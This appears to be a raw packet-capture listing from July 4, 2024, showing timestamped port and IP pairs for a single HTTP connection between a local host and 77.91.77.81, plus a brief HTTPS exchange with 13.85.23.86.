Jul 4, 2024 20:34:13.331585884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331594944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331598997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.331609964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331619978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.331789970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.331904888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331918955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331928015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331937075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331947088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331955910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331974030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.331974030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.332037926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.340496063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340504885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340516090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340532064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340542078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340550900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340560913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.340600014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.340600014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.340624094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340639114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340650082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340657949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340672970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340681076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340692043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340697050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.340748072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.340784073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340794086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340802908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340835094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340846062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340847015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.340847015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.340857029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.340882063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.340935946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341253042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341326952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341341019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341352940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341352940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341362000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341371059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341386080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341399908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341408968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341418028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341427088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341439009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341511011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341553926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341562986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341572046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341582060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341598034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341602087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341607094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341619968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341626883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341629982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341639042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341648102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341650963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341665030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341675043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341675997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341685057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341694117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341694117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341722012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341779947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341779947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341789961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341794968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341839075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341839075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.341936111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341944933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341953993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341967106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341976881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.341985941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342000961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342004061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342010021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342016935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342020988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342029095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342039108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342039108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342056990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342143059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342251062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342259884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342268944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342278004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342287064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342295885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342297077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342304945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342314005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342314005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342322111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342330933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342331886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342339993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342349052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342358112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342372894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342372894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342375040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342386007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342394114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342403889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342406034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342416048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342425108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342426062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342434883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342443943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342454910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342458010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342483997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342556953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342566967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342575073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342586994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342590094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342597961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342600107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342608929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342617989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.342618942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342642069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.342783928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.363953114 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:13.364098072 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:13.366389990 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:13.366395950 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:13.366708994 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:13.375394106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.375422001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.375432014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.375480890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.375489950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.375489950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.375492096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.375502110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.375511885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.375530005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.375560999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.375560999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.412064075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.412102938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.412112951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.412137032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.412148952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.412159920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.412170887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.412180901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.412192106 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.412266970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.412425041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.412491083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.424933910 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:13.427244902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427268028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427277088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427315950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427325010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427335024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427342892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.427345037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427361012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.427439928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427448988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427458048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427464962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.427472115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.427525043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.427546978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427556038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427565098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427572966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427582979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427591085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.427601099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.427634954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.427634954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436156034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436180115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436189890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436203957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436237097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436238050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436264038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436274052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436283112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436291933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436300993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436311007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436311007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436355114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436355114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436368942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436378002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436386108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436408997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436423063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436431885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436438084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436440945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436458111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436497927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436499119 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436507940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436522007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436531067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436549902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436559916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436589003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436600924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436609983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436611891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436633110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436666012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436667919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436677933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436687946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436708927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436759949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436769009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436779976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436790943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436803102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436811924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436820984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436829090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436839104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436840057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436857939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436937094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436947107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436955929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436964989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436965942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436975002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436984062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.436984062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.436994076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437001944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437004089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437019110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437103033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437105894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437114954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437124014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437131882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437153101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437186956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437196016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437205076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437215090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437258005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437258005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437283039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437292099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437302113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437311888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437387943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437396049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437403917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437408924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437413931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437422991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437432051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437436104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437439919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437457085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437457085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437571049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437616110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437625885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437638998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437649012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437658072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437664986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437668085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437678099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437705040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437715054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437776089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437784910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437793016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437802076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437810898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437819958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437828064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437836885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.437838078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437838078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437875986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.437875986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.438045979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438055038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438064098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438072920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438081980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438095093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.438096046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438107967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438119888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438123941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.438147068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.438177109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438206911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.438240051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438267946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.438333988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438344002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438350916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.438364029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.438406944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.438406944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.470952034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.470962048 CEST	80	49731	77.91.77.81	192.168.2.4
